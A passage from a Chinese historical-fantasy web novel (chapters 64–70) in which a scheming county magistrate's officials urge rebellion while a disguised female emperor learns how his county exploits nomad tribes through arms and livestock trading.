唯有回到长安,回到她的地盘,才能有一线机会,铲除许攸的羽翼,彻底拿下这个“国贼”! 再次感叹一番,她转过头,看向身边的青年。 眼前的许攸脸上一直挂着笑,人畜无害的老好人面容,面对李牧和蒙武,也能淡定自若。 “许攸,本宫决定,带你回长安!” “啊?” 许攸正在和李牧闲聊,在他眼底,李牧就是大肥羊。 一晚上消费五百两黄金,要不是大肥羊,那就没谁了! 在听到秦曦的话时,他满脸的诧异。 他都说了那么多,也表演了这么多,就等着秦曦带他去陇西,而不是长安城。 去陇西需要多走半月,有一个多月时间,他缺的功德也再次会补齐,这样到了陇西,他随便做作死,狗皇帝降旨杀他,也就名正言顺。 直接去长安,万一抵达长安之前功德凑不够,他可就白死了! “殿下,何必如此多事?” “下官知道天子龙颜大怒,故此派遣殿下前来查探。既然如此,不如殿下先回长安,下官前往陇西,殿下的属地。” “若是天子真要杀,到了那时候,一道诏书下达,下官必然会自己去赴死!” 许攸丢出心头的最优解,在他看来自己是死定了,就是死之前能不能凑齐功德。 至于离开青尧县,他倒是没多少担心的。 秦曦面露凝重,她真的动了杀心,可是她内心深处还有一道声音在告诉她。 许攸并非凡人! 五年时间,青尧县从三千百姓,到了如今的地步,若是再给许攸五年,大唐会如何? 她要做个明君,做千古一帝! 但是如今的大唐,她只能遗臭万年,以第一位女皇帝的名义,被后人诟病。 她要的是青尧县这般! “这是圣上的旨意,遵不遵从那都看你自己意思,本宫不会强求!” 秦曦语气很淡漠,说话间藏在袖子中的玉手,已经捏紧成拳头。 她不敢想,不敢想许攸拒绝,她要如何! 风在这一刻停下了喧嚣,一道道视线落到许攸身上,等待着他的回答! 第六十五章 勾结外族的铁证 城门下大军逼近,整齐划一的脚步声,不断扣动几人心弦。 离开青尧县,许攸早就想过,但不是现在! 如今他功德还未补齐,倘若途中出事,他只能身死,到了那时候,他的一切都会成为泡影。 他没说话,只是迈开脚步来到城墙边缘,眺望着远方。 秦曦也同样没说话,她在思考如何处理许攸。 从青尧县带走许攸,这是个好办法,但不是最稳妥的办法!她要用这把剑,去制衡一切,最好将世家贵族全部斩断。 时间陷入凝滞,秦曦手心溢出细密汗珠。 “殿下,还请等些时日,下官还有些事情没做完,今日就不奉陪。” “入夜后天寒,诸位早些休息,下官告退!” 风停了,秦曦的心,却再次抽动! 此獠野心太大,太过狂妄,也太过无知! “好,本宫会留在这里些时日,希望你不会让本宫失望。” 她装作不在意,实际上内心早已掀起惊涛,只是强忍那杀意,装作什么都不在意。 直到重回客栈,秦曦这才捏着手,冷冷重哼一声。 “放肆!” “舅舅,你说朕要拿他如何?” 私下无人,房间内只有李牧和小公主,秦曦也放下那帝王身份,没半点睥睨天下的架势。 李牧似乎早就预料到,对此并没感到意外。 大唐现在正缺人才,许攸是个人才,但人才可都有傲气,想收复岂有那么容易? “陛下,倘若许攸真的答应,敢问陛下真的敢带着他回长安?” “即便是陛下敢,那么臣斗胆问一句,青尧县百姓会放人,还是荆州会放人?” “我等此行直奔青尧,没有经过荆州沿途驿站,为此连康王都不知晓!” “以臣所见,陛下今日的举动,逾越了!” 秦曦那叫个郁闷,她好歹也是大唐的皇帝,怎么就逾越了? 不过仔细想想,她也释然,康王是她叔伯,在她登基大典上,奔袭千里驰援长安,若不是康王勤王,那么她现在就是个死人。 那一战,云安公主身死,康王身负重伤。 “舅舅,不用那么生疏,现在也没外人。” “能制服蒙武的人,我就没见过几个,康王是一个,如今这许攸也是个!” “我怀疑当年勤王的大军,就是他捣鼓出来的!” 秦曦小嘴撅起,娇羞可爱模样,是外人从未见过。 “许攸说不定,是康王的私生子。” 李牧张张嘴,看秦曦半天,没想到怎么接话。 两人你看看我,我看看你,内心也都有了结论,那就是许攸今天答应,他们也不敢贸然回到长安城。 …… 翌日,客栈内早早,就迎来了一位官员。 “下官青尧县县簿,黎方。” “见过云安公主,见过李相,蒙将军!” 身着官袍的黎方出现在客栈门口,恭敬朝着几人鞠躬行礼。 秦曦面色如水,昨夜她和李牧聊到半夜,最终决定先留在青尧看看,不仅是留在青尧,她还要去找康王。 如今的蒙武已经离开,他要去安顿墨麟军,此事也不是小事。 跟着黎方往外走,没走多远,几人就来到间酒楼。 酒楼装修奢华,地面灰白,四周金碧辉煌,八根支柱全都是大红色,上面雕刻着各种图案和花纹。 还没到中午,就已经有不少人坐在酒楼内。 秦曦粗略扫过,发现大厅内最少十五张桌子,现在基本上坐满,而且很多都是外族人! 奇特就奇特在这些外族人,衣着打扮都不简单,其中几个甚至还是穿的虎皮! 虎皮在外族是稀罕物,代表的是身份,一般只有部落的酋长或者大族长这些,才有资格去穿戴。 那一桌子几人,身份必然不同凡响! 见到秦曦等人进入酒楼,桌上几人突然站起,其中一人仰头大笑,很是豪迈的举起手中酒杯! “黎大人,许久未见,我敬你一杯!” 黎方闻言笑呵呵摆手,稍微侧过身,将身边秦曦等人让出。 “诸位,今日有贵客需要招待,改日我登门赔罪。” “莫汗王子随意畅饮,今日尔等消费,都由在下买单!” 一位大唐的官员,哪怕只是个小小的县簿,那也是官。 如今黎方却拱手弯腰,朝着对面的男人行礼问好。 那人半边身子藏在虎皮中,裸露的肌肤呈现出古铜色,鼻梁高耸挺立,颧骨吐出,眼窝深陷,一缕小辫子在脑袋后面,一甩一甩的。 秦曦总感觉这人似乎在那看过,尤其是莫汗这个名字,她很耳熟。 被称作莫汗王子的男人,非但没生气,还将桌上另外一杯酒递过来。 “黎大人客气,只要你们盐巴瓷器管够,我们牛羊战马也不缺!” “上次许大人说缺铁矿石,我可是特意差人去寻,如今凑了十万斤,保证不让许大人失望!” 盐铁交易! 秦曦的眸子猛地冷了下去! 饶是昨晚做了一夜建设,至今她还是难以释怀。 似乎是觉察到了她身上的杀意,说话的男人也侧过身,好奇的扫了眼秦曦。 那双鹰眼内充斥着挑衅和桀骜,若不是在这里,肯定会动手,甚至强抢。 两人视线在半空交织,秦曦也看到了男人眼底的贪念。 “舅舅,你可认识他?” 秦曦记忆中浮现出个片段,那是七八年前的宫廷聚会上,她似乎看过眼前的男人。 李牧闻言仔细打量,只是他越看越心惊。 身为大唐首辅,还是三朝元老,李牧的能力远飞常人能比肩,哪怕七十多,他的记忆力依旧恐怖。 黎方距离两人有两米远,正在楼道口躬身做出欢迎姿态。 见此,李牧压低声音,用只有秦曦听到的音量小声道。 “陛下,若是臣没看错,此人是回纥四王子,莫汗!” 回纥四王子居然出现在了大唐! 如此消息,就如同一道惊雷,劈在秦曦的身上。 秦曦脸色阴沉,她继位至今,十八部落,只有寥寥几个部落送上国书,打算和大唐维持和平。 这个名单中,可不包括回纥! 一股无名怒火,在不断的升腾,要把秦曦给彻底吞噬! “许攸!当真狗胆包天!” “他这是打算自立为王吗?” 秦曦咬牙迈动脚步,找了个角落桌子坐下。 她倒要看看,许攸还有多大的胆子! 第六十六章 大人,天冷要冷了 “许大人,你真要离开咱们?” 许攸昨夜就把自己不日要离开的消息道出,他知道自己不可能一直留在青尧县。 眼前几人都是青尧县的核心,武将方面以赵龙和王虎为主,两人一个负责东大营,一个负责西大营,性格也截然相反。 蔡青,洪文,丁爻以及黎方等四人,则是青尧县政治核心,四人各自擅长一方面,哪怕没有许攸,也能将青尧县给维持下去。 如今听到许攸要走,蔡青第一个反对。 “许大人,你若是留在此地,无论是朝廷派来多少人,我等都有办法让他们有去无回!” “可你一旦去了长安,那就等于将自己送入虎口,到时候就是你有危险,我等也鞭长莫及!” 蔡青可不是在说玩笑,青尧县以至于整个荆州,都在他们的掌控中。 可要是离开荆州,那就不是生死的事情。 许攸看着几人焦急的眼神,心里浮现出一道暖流。 “我说过,我的目标就是让青尧县有一条活路,让百姓们吃饱穿暖,人人有肉吃,户户有房住。” “如今的青尧县,士农工商皆有所属,缺了任何一个人都不可以,唯独我除外!” “青尧县不是我一个人的青尧县,在这里所有人都拧成了一股绳,他们同心竭力,共同创造了青尧县的繁华。” 许攸说到这里,内心也感慨万千。 当初他来的时候,三千青尧百姓几乎连站都站不稳。 他给的承诺也很简单,跟着他干,三月吃饱,半年吃肉,一年有房住。 如今他在不在,都没多少区别,有学堂就有源源不断的新生力量,未来的青尧县,依旧会继续发展。 “青尧县未来如何,看的不是我,而是你们自己!萌芽我已经给你们种下,我不是神,没有点石成金的本事,只能引导你们前进而已!” “再者……” 许攸的嘴角勾起,一抹淡淡笑意,在他脸上浮现。 “再者我也不是没准备,等我准备齐全,即便是孤身去长安,我也不会怕。” 他的目光看向西南角,在哪里是青尧县最大的秘密,也是未来的依仗。 有了那些东西,未来青尧县会步步领先,也不会在忌惮任何的力量! “以后事情还是你们商讨处理,至于军事方面,由赵龙和王武负责。” “我还是那句话,我们的地盘,我们自己做主,他们若是敢动手,那就打回去!打到他们胆寒,不敢再动手!” 蔡青眼睛眯起,他感觉这些话似乎有点不对劲! 许攸语气淡然,和平日里没什么区别,可话里话外都是托付,要把青尧县交给他们。 若是没有许攸,就没眼前的青尧县。 蔡青等人都有自知之明,许大人才是青尧县的顶梁柱! “大人,你此行不带赵龙和王武?” “不行!我不同意,若是你要离开,必须带着王武或者赵龙,要么全部带上也行!” “对,再带三千,不!五千城卫军,否则我们不放心!” 其他几人也七嘴八舌,那样子似乎许攸不答应,他们就不放人。 许攸淡笑着摇头,他可没打算带兵马离开,一旦带兵马离开,在荆州内还能解释,出了荆州可没办法解释。 “带什么?兄弟们跟着我剿过匪,打过蛮子,如今我去长安述职,又不是造 反,带五千人离开,你们不觉得太招摇?” 招摇? 蔡青可不认为这是招摇。 “大人只要你把离开的想法道出,无论是富户商贾,还是普通百姓,亦或者是那些外族商人,都会阻止!” “大人你在,青尧县才在!而你一旦离开,那我们也就失了魂!” 蔡青说完后,又咽了口吐沫,脸上尽是潮红。 “许大人,若是你执意如此,那属下只能逾越一次!” 许攸有一种不妙的感觉,眉头紧皱。 “你要干什么?” 蔡青是他从柴火堆中救出,当时他已经被架在柴火上,就差剥皮抽筋。 对蔡青的偏执和执拗,他是深有体会,属于撞到南墙也不会回头,只认死里的那种。 而此刻不止蔡青,包括憨憨的赵龙,也都露出了一种疯狂的情绪。 环顾一圈,许攸咽了口吐沫,他看到一双双疯狂的眼睛,那眼睛中没有半点的担忧,也没半点的慌张,而是渴望以及……崇拜! “许大人,天要冷了。” 蔡青语气幽幽,明明只是一句普通话,在他口中却渗着冰冷的杀意。 “青尧县乃至整个荆州,受过您恩惠的,何止十万?” “天子不仁,将我等视作草芥,我等虽出身平寒,但也知道什么是恩德!若是没有许大人您,就没我们现在的好日子!” “至于这天下到底是谁的天下,这重要吗?” 蔡青声音不大,却在所有人耳畔回荡。 “我蔡青的命是你的!他们也是!” “青尧县三十八万百姓,也同样如此!” “赵龙!王武!有朝一日,许大人有危险,你们会替他去死吗?” 话音刚落下,两道不同声调的声音,同时响起。 “会!” “那么你们呢?” 蔡青视线缓缓落在洪文和丁爻身上。 “你们打算如何?” 洪文是个精瘦的青年,身高只有一米五,是许攸从寒冷的河道内捞出。 至于丁爻,则是山贼的贼窝,几人除了黎方家世好点,无一不是落魄凄凉。 “我不知道,我只知道一句话。” “大人曾问我,敢为天下先?在我丁爻眼中,许大人就是天!” “许大人,反了吧!” 如此话语一旦传出去,必然掀起惊涛骇浪! 许攸脸上浮现出错愕,他没想到小说中戏码,会出现在自己身上。 天冷加件衣服,可这衣服是黄袍。 转瞬间,他捏起下巴,要是他起兵造 反,似乎他很快就能称霸。 火器营只有雏形,也不是什么人都能抵挡,大唐的墨麟军更是挡不住。 可是他为的是什么? 他可不是为了当皇帝! “我们是为了什么?为的是让百姓过的更好,让我们的兄弟过的更好!” “一旦我们起兵,天下效仿者无数,苦的百姓,那我所做的一切,有什么意义?” “我不想当罪人,懂吗?” 许攸掷地有声,声音虽平淡,却充斥着不容置疑,以及坚定! 第六十七章 血赚不亏的买卖 “许大人,我……我错了!” 蔡青只觉得脸上火辣辣的,他忽然想起来,当初许攸拉着他们,指着山下一片地,说要盖个城。 那时候没人相信,五年铸城,根本就是不可能的事情。 可许攸做到了! 如今尽情摇下蒸蒸日上,百工都在井然有序的开展,百姓生活也变得富裕,甚至可以影响到荆州。 在这个时候举兵造 反,只会牵连几十万百姓! “大人!” 蔡青“扑通”一声跪倒地上。 “大人,青尧县不能没有你,你此去长安,必然危险重重……” 不等他说完,许攸挥挥手打断。 “我知道这一去,可能有死无生。” 扑通!扑通! “大人!三思啊!” 不仅是蔡青,丁爻等人也都跪下。 青尧县没有那么多繁文礼节,见面点头问好,就算是见过礼,也只有正式场合,或者贵重客人才弯腰行礼。 至于下跪,许攸早就禁止,除非是跪天地君亲师等,否则不可下跪。 看着几人那满脸的泪花,许攸到嘴边的话,又咽了回去。 “起来吧!你们的心,我都知道,我有我的打算!” “青尧县是我们的根,星星之火可以燎原,切莫做糊涂事,也不要辜负了这三十多万百姓!” “若是有一日,需要本老爷死,能换天下太平,本老爷也会去做,你等且不可妇人之仁!” 许攸感叹,此刻他有点明白,阎王爷为何要和他立下如此条件。 死得其所可不是那么好完成。 他要把一切,都交给蔡青等人,要让他们将这枚希望种子,继续播种,继续生根发芽。 蔡青擦干眼角泪花,猛地低头,重重磕在地上。 连续三叩首后,他起身咬着牙回答。 “大人你放心,无论你在什么地方,青尧县就是你的家!” “我蔡青以性命起誓,只要我还有一口气在,青尧县会在你的指引下,继续发展,任何人都不会违背!” 许攸松了口气,他不怕死,怕就怕死的突然,到时候功德攒不够。 说到底还是如今功德不好攒,死一个人,扣除的太多,导致他都不敢和以前那样,一路莽过去就完事。 “好了,我可没说我回不来。” 蔡青等人一愣,愕然的看向他。 “大人,你的意思是?” 许攸捏起下巴,适才他仔细思考过,要是当今天子真的要办他,直接下一道诏书,安排两个太监送杯毒酒就完事。 偏偏天子派了她的姐姐,这说明什么? 说明天子也不好过,在朝堂上孤立无援。 “当今天子是女子身,所以她没任何的扶持,也没任何的力量。” “当年扶持她登基的是康王,你可别忘康王是什么人!” 许攸说到这里,嘴角的弧度愈发明显。 “康王是只老狐狸,他不会看着天子受难,这次他特意出现,怕就是想借助我的手,帮一帮那天子!” 蔡青又懵了,他虽是青尧县的县丞,可朝廷内的条条道道,他可不清楚。 在听到许攸要帮天子,他整个人都是傻愣愣的。 “你想,天子缺什么?” “缺钱,缺人,缺兵马!” 几人除了赵龙之外,都在低头苦思。 赵龙一句话,道破了许攸的心里话。 “没错!” “她缺什么,咱们就给什么!长安城有的是钱,咱们偏偏缺钱!” 许攸眼底寒芒浮现,大道九九,他只要其一,有青尧县在,那天子不傻的话,大家都是双赢。 “此次去长安,我会审时度势,将我们的“宝贝”全部展露!” “你们现在就准备,将所有新式铠甲兵器,以及火器营的火铳,炸药包等全部藏好,把那些次等品拿出来,就按照糊弄胡族那种规格!” 这话不用许攸细说,以次充好是商人常用的计量,在场几人也不是傻子。 听到许攸不是真的打算去送死,蔡青等人的表情也缓和许多,没了那要死要活的模样。 一番好说歹说,许攸终于把几人给说服。 “大人,要不我们给你织个袍子?” 蔡青临走时,依旧没忘记天冷的事情。 “滚!” 许攸没好气的瞪了眼,都这时候不帮他赶紧处理,还有空在这里和他打趣。 他却没看到,蔡青给其他几人打了个眼色,这几人眼底再次露出火热目光。 …… 许攸府邸的事情,秦曦并不知道,她正坐在距离莫汗等人不远处的角落。 “黎大人,敢问许县令和这回纥有什么往来?” 黎方接到许攸命令,要好好招待秦曦等人,必要时候还让他想方法留下秦曦。 “回公主的话,此事您有所不知。” “这个回纥分为七个部落,最大的是莫汗父亲那一支,故此他也有部落的继承权,他们部落处于落霞山脉,那边多草地,也多铁矿!” “什么?” 秦曦呼吸急促,铁矿对任何势力而言,都是极其宝贵的资源,回纥部落难道疯了? “荆州也有铁矿,你们为何要买外族的?” 黎方不急不慢的拱手,再次回答。 “许大人说要勤俭节约,要走可持续发展的道路,所以我们是能买就买。” “再者回纥没多少物资交易,只有战马和牛羊,我们青尧县的战马,多数都是回纥交易而来!” “我们用粮食盐巴,还有陶瓷以及布匹等,偶尔还有些兵甲交易,不过都是我们淘汰的。” 嘭! 秦曦手中茶盏掉落,脸色也铁青的可怕。 粮食她能理解,盐巴也能理解,至于战马和牛羊,那是各取所需。 可兵甲,这可是在资敌! “你刚刚说,用兵甲去交易战马?” 黎方愣了下,又跟着点头。 “那是自然的,兵甲是最受欢迎的商品,没半年我们都会出一批,也不止是回纥,还有很多部落竞拍。” “一般都是用牛羊加人口来置换,一把制式长刀,价值三十两银子,或者两头牛,或者一个女人。” 轰隆! 秦曦和李牧彻底被震惊,两人完全不敢想象,这生意到底有多暴利! 仅仅是半年时间,就最少赚百万两! “黎大人,你们难道就不怕,回纥这些部落壮大,到时候抢你们?” “怕什么?他们来了刚好,打完还得再买回去,我们不是血赚?” 第六十八章 量产百锻钢 “血赚?” 秦曦可不觉得如此是血赚,在她看来,此等行径就是通敌叛国,故意资敌而已! “你们难道就不怕,有朝一日那些豺狼满足不了胃口,到时候青尧县会沦入他们的腹中?” 此话是带着警醒和质问,这是来自帝王的先明眼界和综合治国能力。 李牧也点点头,对此话表示很赞同。 “自古以来就有一句老话,非我族类,其心必异!” “大唐建国不到五十年,如今却外有内患,此乃是根源上的错,是官员的错!” 面对这番话,要是换做旁人,肯定会重启大骂两句,可偏偏黎方脸上没有难点的愤怒,反而是淡淡的笑容。 “他们若是能打过来,那到时候一切好说。” “不过就算是借他们三十万兵力,也无法和我们青尧县抗衡!” 如果秦曦的语气是警惕,那么黎方的声音,则是充满不屑。 “公主殿下,莫说他们不敢,即便是拿刀架在他们脖子上,他们也会敢这么做!” 这话倒是让秦曦懵了,什么是外族不敢? 外族以拳头做主,冲上用拳头说话,不带脑子的事情笔笔皆是,况且西北多游牧部落,那些部落天生好战,可不是什么好惹的货色。 越是如此想,秦曦脸上表情越是难看。 “私开互市尚且可以理解,但你等居然将兵甲等送给外族,此乃祸 国殃民!” 若不是怕旁人听到,秦曦现在就打算发怒!。 闻言,黎方脸上的笑容,则是越来越浓厚。 也不是秦曦第一个如此质疑,只要知道他们的买卖后,那些质疑声就会消失。 “殿下,许大人曾说过,武器兵甲锻造技术,就如同逆水行舟,如果没有迭代,那么必然会落后!” “而落后的结果,自然是要挨打!” 李牧深以为意,很是赞成的点头,但他还是不明白,既然许攸知道这些,那为什么还要资敌呢? 在他疑惑的目光中,黎方缓缓道出事情原委。 每三个月时间,青尧县就会处理一些兵器和甲胄,而这些都是次等品。 “咱们卖给他们的,都是早些年使用的兵甲和武器,早已经不堪重用,或者制造工艺落后,被我们弃之不用的装备!” “如今我们所用的,是百锻钢所熔铸,质量比以前要好百倍,寻常铠甲在其面前,只要稍微用力,就能劈开!” 饶是黎方这么说,秦曦脸上的怒意,依旧没消散。 百锻钢可不是那么容易锻造,朝廷所掌控的工坊,也只有寥寥数人知道如何锻造钢胚。 一匹百锻钢,需要几十名工匠联合出手,方才能打造熔铸完成。 她可不相信,区区青尧县居然有本事,弄出百锻钢。 黎方一直都在观察秦曦,见秦曦满脸冷傲,心里也是纳闷。 “殿下,我们所卖的都是铁器,没有半点是钢材合金所制作的兵甲。” “即便是铁器,也是在资敌!” 秦曦冷哼一声,那不怒自威的气势,让黎方彻底噎住。 黎方想到库房内积压成山的废旧刀具,一时间不知道是该哭还是该笑。 “黎大人你继续,老夫倒是挺好奇的。” “你们既然敢卖,那么就不怕他们用你们的武器,来打你们?” 李牧双眼中闪烁起好奇光芒,他发现自己愈发看不透许攸。 黎方就等着有人给台阶,当即开始继续吹嘘。 “当然不怕!” “许大人可是有秘密武器,只要拿出来,别说是这些蛮子,就是真闹腾,也能瞬间灭族亡种!” 此话一出,秦曦和李牧同时脸色大变! 果然和他们猜测的一样,青尧县内还有一股神秘存在! 就是这股存在,才让许攸如此胆大妄为,甚至到了凌驾一切的地步。 两人四目相对,暗暗点点头,又装作什么都不知道,继续看向黎方。 黎方还未察觉到,就这么瞬间,他九族已经在开始疯狂闪烁。 “殿下,其实不瞒你说,咱们的装备,并非是你们看到的那些。” “我们有三级装备等级,寻常护送只是一级,穿戴的都是以简便围住。” “二级则是万人规模交锋,三级很少有会动用,但凡动用,必然是亡族之争,如今也只动用过一次而已!” “我们这不是资敌,而是在利用我们不要的垃圾,去换取我们所需的物资,同样还能给那些外族一个结论!” 秦曦再次看向李牧,两人内心的愤怒早已烟消云散,剩下的全是疑惑和茫然。 将淘汰兵刃交易给外族,这怎么看都是资敌,如今还有结论? 偏偏黎方那种自信,不像是作假。 说到这里的黎方,露出得意笑容。 “只有让他们错以为,我们的军事力量和他们一个层级,才能让他们有追赶,甚至碾压我们的错觉!” “防人之心不可无,我们只要做到敌不犯我,我不犯人的局面即可!” 到了这时候,哪怕秦曦和李牧再傻,也明白这话到底是什么意思! 所谓的资敌,根本不存在,准确的说,这是一种消耗手段。 迭代下来的垃圾,去换牛羊,换毛皮等物资,换铁矿石等等,这样青尧县一直处于领先地位。 而偏偏那些外族不知道,以为自己部族武装了,那些小心思不该有的,也全都冒出来。 忽然,秦曦的柳眉皱起,她突然想到刚刚黎方只言片语中,所提到的百锻钢。 青尧县能量产百锻钢! 这个想法一出,她只感觉一股寒气,直接从尾椎骨奇袭天灵盖。 她原本以为,青尧县就是小打小闹,将不用的兵甲交易出去,造成倾销的局面,此刻看来根本就不是! 即便是朝廷的军器监,也做不到如此地步更新武器装备,更不可能有如此速度。 当初她要设计一款内甲,从下令到出样品,可是足足花费了一年半的时间。 秦曦的目光再次和李牧视线交织,两人都发现对方眼底的愕然。 许攸的神秘,已经超过了他们的理解能力。 可黎方却似乎嫌这些还不够吓人,再次补充解释。 “这只是其中的一方面,最深远的可不是这些,许大人这么做,是别有目的!” “什么,还有其他的目的?” 秦曦大为震惊,杏口也缓缓张开,露出个娇媚的神色。 第六十九章 许大人喜欢钱 秦曦感觉自己完全不像是皇帝,反而像是刚进城的百姓,对青尧县一切都不知道。 那种无力感,让她又恨又气。 “那是当然的!军备上的手段,只是其中之一,许大人做事从来不看重这些!” “他看重的是钱和利益!” 这话倒是没出乎秦曦的预料,接触这么几次,她也发现了,许攸是个很不要脸的存在。 要是寻常官员,看到公主亲临,怕是早就吓得尿裤子,只有许攸一口一句,“下官有罪,下官该死”! 她倒要看看,许攸这个国贼,还能玩出什么花! “你且说说,他这能得到什么利益?” 黎方嘴角上扬,一副钓鱼佬上鱼的激动表情。 “其实也简单,那就是压榨其他货物的进价!” 秦曦听得满头雾水,刚刚说是交易军备,怎么眨眼功夫,就成了压榨其他货物。 那些外族还有什么货物,值得许攸伸手,亲自设计去压榨的? “咱们就比如说,这回纥的王子,之所以来我们大唐,不是因为他找到了铁矿石,也不是他开采出这么多,而是他怕价格变动!” “变动?” 秦曦感觉她要听到劲爆的消息。 这或许和莫汗出现在大唐有关! 她很想下令,召集墨麟军,将莫汗给扣押成为质子,逼迫回纥臣服。 “那是自然的!物品有需,才有求!” “若是咱们不需要铁矿石,那么回纥的王子挖到再多铁矿石,那也无济于事!” “最主要他们是被许大人,给坑怕了!” 回忆起往日的重重,黎方都很想问一句,“许大人,你到底是不是恶鬼”? 但凡人能做出来的事情,一件都没和许攸沾边的。 “去年回纥在年前,送了三万头牛羊过来,按照当时的价格,是羊三十两,牛百两。” “结果许大人突然下令,说铁矿石稀缺,导致武器价格成本上挑,每把刀至少一百两银子!” “那些铠甲则是更贵,轻则百两起步,重则五千左右。” 秦曦的瞳孔紧缩,她是万万没想到,许攸心黑到这个地步。 这已经不是黑不黑的问题,而是不当人。 三万头牛羊,猛地提高三四倍价格,原本牛羊价格就低,这么算下来,一把刀就可以换两到三头的羊。 “难道你们这么做,就不怕那些外族发现?” 黎方淡定无比,指着不远处正在大块吃肉,大口喝酒的莫汗道。 “殿下,你觉得这些家伙,会为了这些亲自去调查?” “即便他们知道,我们在故意设局,他们又能如何呢?” 说到这里的黎方,露出洁白牙齿,那张温和的脸,也开始变得狰狞。 “天下间能收他们的牛羊,只有我们青尧县,他们要是不愿意交换,有的是人愿意交换!” “我们不但将兵甲武器的价格提高,还把牛羊价格说低,总而言之就是牛羊已经不流行,如今我们大唐家家户户吃肉,不缺这点!” 李牧深吸一口气,此法很阴毒。 如此一来,回纥多了几万头牛羊,一天不能出栏,一天就代表要多吃不少草料。 那可是几万头,而不是几头,一万头就能吃垮一个草场,三万头至少要两个曹冲储备,才能帮助他们度过难关。 “你们这样做,那回纥又如何应对?他们为了养牛羊,肯定是所有部落全部出动,怕是连粮食都没吧?” 李牧洞悉了其中关键。 世人逐利,不论是商人,还是普通人,在得知会得到利益的时候,热情都会高涨。 回纥被高价吸引,必然是打量部属被安排去养牛养羊,这也导致最基本的盐巴和青稞都没。 “你们有粮?” “有,不过也是陈年旧粮,有的还是从别的地方运送过来。” “那些牛羊可都是膘肥体壮,不过一头牛也就百十斤的粮食。” “他们必须得换,不换就得饿死!” “殿下,您猜猜看,我们一来一回,可以赚多少?” 秦曦人都是晕乎乎的,她从未想过做生意会如此这般。 如此兵不血刃的将一个部落给操纵在手中,而回纥虽然人不多,也有十几万人! 如今他们成了许攸赚钱工具,更可恨的是许攸完全不是人! “不知道!” 秦曦摇摇头,她感觉自己算不过来,不过至少有百万银子左右! “去年我们赚了八十多万,今年回纥王子学聪明了,亲自压送过来。” “哪怕是我家老爷,面对这位也得给几分面子,今年定然和往年比,收入要差点!” 一年赚百十万,西北十八个部落,要是如此高效的赚钱情况下,秦曦也动起了小心思。 “这就是市场的魅力,从始至终市场如何,都是我们来决断,而不是回纥他们!” “我们不愁卖东西,哪怕回纥不买,还有其他人要买。” “一旦那些人得到兵刃,第一时间不会放过回纥,所以他不买也得买!” 秦曦彻底说不出话,她的脑子内一片空白。 在她认知中,掌控市场这些,都是蝇头小利,没有什么利益可言,也不用耗费尽力钻研。 谁知道今天许攸给她上了一课,还是如此生动形象的课。 许攸掌控了局面,明明没有什么刀光,也没什么厮杀,却让人感觉到胆寒。 “好!很好!” 秦曦咬着牙,每个字都是咬着吐出。 “许大人果然好手段!” 一直以来,李牧都是个很淡定的存在,哪怕面对秦曦的刁难和责罚,他也能处之泰然,没有半点表情波动。 可现在,他的脸上,有一丝丝的苍白。 “黎大人,此法虽然好,可还有个很大的问题!” “你们以强欺弱,确实没什么,但是你们又怎么保证,这西北外就没人能够制服你们?” “许攸此番计策虽然不错,可真的要逼急了,别人不和你玩这些,你又能如何?” 李牧的话,让秦曦从失神中猛然回神。 刚刚她都没仔细多想,现在想想浑身都是冷汗,她居然不知不觉间,也中了奸计! “没错,许攸确实很厉害,可如果有人真的选择和朝廷合作,或者半路背叛你们,你们又能如何?” 第七十章 天冷套件龙袍 “当然怕!” 黎方的回答,让秦曦和李牧,再次愣住。 李牧更是皱起眉,老脸上浮现出了疑惑。 “既然怕,你们就不怕对方闹起来?到时候没了名声,只怕你们怎么吆喝,都没作用!” 黎方闻言,缓缓摇头,而后又露出了激动的神色。 “殿下,先前下官不是说过,战备等级分为三级,其中一级只出现过一次吗?” 秦曦闻言点点头,这点他倒是没忘记,但她想不到,这和几人聊得事情有什么关系。 难不成许攸还能把人家部落给灭了? “党项之所以如此恨我们,全都是因为他们的部落,早已被我们灭的差不多!” “当初他们靠倒卖些毛皮,后者各种矿石过来,双方交易也很圆满。” “不过人心是贪婪地,党项中的酋长,觉得我们好欺负,便干脆在半路上,刺死我们护送的士卒。” “此事本来可以大事化小,小事花无,没想到党项如此刚硬。” “为此许大人特意说了句!” 说到此处的黎方,开始大吹特吹。 “那日许大人曾言,说要血债血偿!” “他们敢杀我们一位兄弟,我们就要屠万人!” 轰隆! 秦曦只觉得一股寒气,将自己全身笼罩。 以一人换上万人,这是何等的嚣张,何等的凶残。 接下来哪怕黎方什么都不说,秦曦也能猜到,后续具体发生了什么。 在黎方的吹嘘下,她和李牧,也算是开了眼界。 “一天时间,党项营帐被破,大酋长身死,其余子孙后代,也全部战死!” “三个月时间内,此事迅速流传开,哪怕是沿途的盗匪,看到我们青尧县胡松车队,也不敢继续造次!” 秦曦内心五味杂陈,又替太子感到悲哀的,也有为自己没贸然下令,逼迫许攸入宫的后怕。 三个月内,党项几乎灭亡,而最后的那四万多人,怕是党项全部的力量。 如此手段凶狠毒辣,做事风格果决的存在,只有纵横沙场多年,才深有体会! “两位今日下官还有些事务处理,暂且失陪!” 黎方见到话说完,也不在继续勾着秦曦的胃口。 留下这话后,黎方身影彻底消失不见。 秦曦幽幽叹息一声,她和李牧都感觉,眼前的许攸有点恐怖! “舅舅,咱们应该如何是好?” 李牧闻言也不由苦笑。 如今的许攸,是他们看的太简单! “此子心思缜密,手段残暴,远光也很长远,可惜了!” “若是把他带回,我怕朝中官员,会因此而生出乱子!” 秦曦勾起嘴角,她已经能想到,许攸出现在长安城,会有什么样的表情! “舅舅,这样才是最好的!” “我可不要个提线木偶!” 秦曦能有如此想法,那也很简单! “那就让我看看,到底是谁更加厉害!” 她已经决定,哪怕不能强留,也要让许攸进长安城闹一闹。 …… 两人边吃边聊,浑然不知道,此刻的许攸正在奋笔疾书。 他面前桌子上,有十几本小册子,上面各种名字都有。 这是他为青尧县留下的种子,一旦成功发芽,哪怕他不在,到时候也会继续发展壮大。 一直到黑夜,他这才忍不住打了个哈切。 一整天时间就这么坐着,写了不知道多少字,他脑袋也觉得浑浑噩噩。 “老爷,累了吧?” 胭脂很贴心的走到许攸身后,两只手抬起,捏住了许攸的脑袋,将他脑袋抵在软绵上。 伴随一阵淡淡的奶香气,许攸心情开始飘忽不定。 “胭脂你不用害怕,我要是离开,肯定会把你也带走。” 许攸伸手反握住,那双柔软的小手。 胭脂的手比普通女人手掌要大一些,略带一些粗重大手,不断摸索许攸的太阳穴。 揉了一会功夫,许攸感觉困意上涌,便下意识的伸手将后面的衣服给拽了下。 这也不怪他,一早晨起来就搜肠刮肚的,如今种子留下,他也困乏的厉害。 